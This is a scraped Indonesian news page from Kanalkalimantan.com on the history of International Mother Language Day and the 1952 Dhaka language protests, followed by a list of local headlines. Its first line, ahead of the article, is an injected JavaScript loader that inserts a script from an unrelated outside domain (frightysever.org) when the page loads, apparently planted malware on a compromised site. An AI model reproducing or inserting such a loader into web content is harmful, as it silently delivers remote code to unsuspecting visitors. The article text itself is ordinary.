(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Infografis Kanalkalimantan

21 Februari Hari Bahasa Ibu Internasional, Ini Sejarahnya


KANALKALIMANTAN.COM – Tidak banyak masyarakat yang tahu bahwa pada Februari ini ada peringatan Hari Bahasa Ibu Internasional yang jatuh setiap tanggal 21 Februari.

Peringatan ini sering luput dari perhatian karena tidak begitu dikenal di kalangan masyarakat umum. Namun, bagi masyarakat yang berkecimpung dalam dunia pendidikan terutama yang terkait dengan bidang bahasa mungkin tidak begitu asing dengan peringatan Hari Bahasa Ibu Internasional ini.

Tujuan perayaan ini adalah untuk mempromosikan kesadaran akan pentingnya multikulturalisme dan multibahasa, serta untuk mempertahankan dan melindungi keanekaragaman bahasa di seluruh dunia. Ini adalah kesempatan bagi masyarakat untuk menghargai dan mempromosikan bahasa ibu mereka sendiri serta bahasa ibu orang lain di sekitar mereka.

Baca juga: Beredar Nama Pemenang 30 Kursi Wakil Rakyat Banjarbaru, Tunggu Hasil Resmi KPU!

Gagasan munculnya peringatan Hari Bahasa Ibu Internasional ini berasal dari Bangladesh karena adanya permasalahan bahasa di Pakistan Barat dan Pakistan Timur (saat ini Bangladesh). Kedua daerah tersebut berbeda dalam hal budaya, bahasa, dan sebagainya.

Pada 1948 pemerintah Pakistan mendeklarasikan bahasa Urdu sebagai satu-satunya bahasa nasional Pakistan meskipun bahasa Bengali atau Bangla digunakan oleh mayoritas orang yang menggabungkan Pakistan Barat (Pakistan) dan Pakistan Timur (Bangladesh).

Rakyat Pakistan Timur memprotes, menuntut agar bahasa Bangla dijadikan setidaknya salah satu bahasa nasional selain bahasa Urdu. Para mahasiswa memprotes dan melakukan demonstrasi. Pada 21 Februari 1952 polisi melepaskan tembakan terhadap para demonstran. Akibatnya beberapa mahasiswa tewas dan ratusan terluka.

Ini merupakan kejadian dalam sejarah ketika orang-orang mengorbankan jiwanya demi bahasa ibu mereka. Akhirnya, ditetapkanlah tanggal 21 Februari sebagai Hari Bahasa Ibu Internasional untuk memperingati dan mengenang peristiwa yang terjadi di Dhaka tahun 1952 sebagai Gerakan Bahasa.

Baca juga: Komitmen Majukan UMKM, Wali Kota Aditya Terima Anugerah PWI 2024 

Majelis Umum PBB kemudian meminta negara-negara anggotanya untuk mempromosikan pelestarian dan perlindungan semua bahasa yang digunakan oleh orang-orang di seluruh dunia.

Pemahaman masyarakat terhadap bahasa ibu dan bahasa daerah sering tumpang tindih. Pada dasarnya, bahasa ibu dan bahasa daerah adalah dua konsep yang berhubungan erat, tetapi sebenarnya memiliki perbedaan yang penting. Bahasa ibu merujuk pada bahasa pertama atau bahasa yang dipelajari seseorang sejak lahir atau selama masa kanak-kanak pertama sedangkan bahasa daerah merujuk pada bahasa yang digunakan di suatu wilayah atau daerah tertentu.

Bahasa daerah bisa menjadi bahasa ibu bagi sebagian besar penduduk di wilayah tersebut, tetapi tidak selalu demikian. Jadi, bahasa ibu merujuk pada bahasa pertama yang dipelajari seseorang. Sedangkan bahasa daerah merujuk pada bahasa yang dominan digunakan dalam suatu wilayah tertentu.

Posisi bahasa ibu sangat penting karena bahasa ibu tersebut membentuk dasar pemahaman konsep-konsep dasar, emosi, dan identitas kultural seseorang. Bahasa ibu juga memainkan peran penting dalam memperkuat hubungan antara individu dengan keluarga dan komunitas mereka.

Bahasa ibu adalah alat utama untuk berkomunikasi, berbagi cerita, dan membangun ikatan emosional yang kuat dengan anggota keluarga dan teman-teman sebaya. Bahasa tersebut memungkinkan seseorang untuk mengekspresikan siapa mereka, apa yang mereka pikirkan, dan apa yang mereka rasakan secara unik.

Baca juga: Edukasi Pemahaman Kekerasan Fisik dan Seksual di Ponpes Dilakukan Polres Banjarbaru

Bahasa ibu tidak hanya merupakan alat komunikasi, tetapi juga fondasi dari identitas, pemikiran, dan karakter seseorang. Bahasa ibu merupakan bagian integral dari identitas kultural seseorang yang terhubung dengan warisan budaya mereka.

Melalui bahasa ibu, seseorang mempelajari tradisi, nilai, dan norma-norma budaya yang membentuk cara mereka melihat dunia, melalui bahasa ibu, seseorang memperoleh pemahaman tentang ide-ide kompleks seperti cinta, keadilan, atau kebahagiaan, yang membentuk pandangan dan nilai-nilai hidup mereka. (Kanalkalimantan.com/kk)

Editor : kk


Risa

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

10 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

10 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

11 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

15 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

15 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

16 jam ago

This website uses cookies.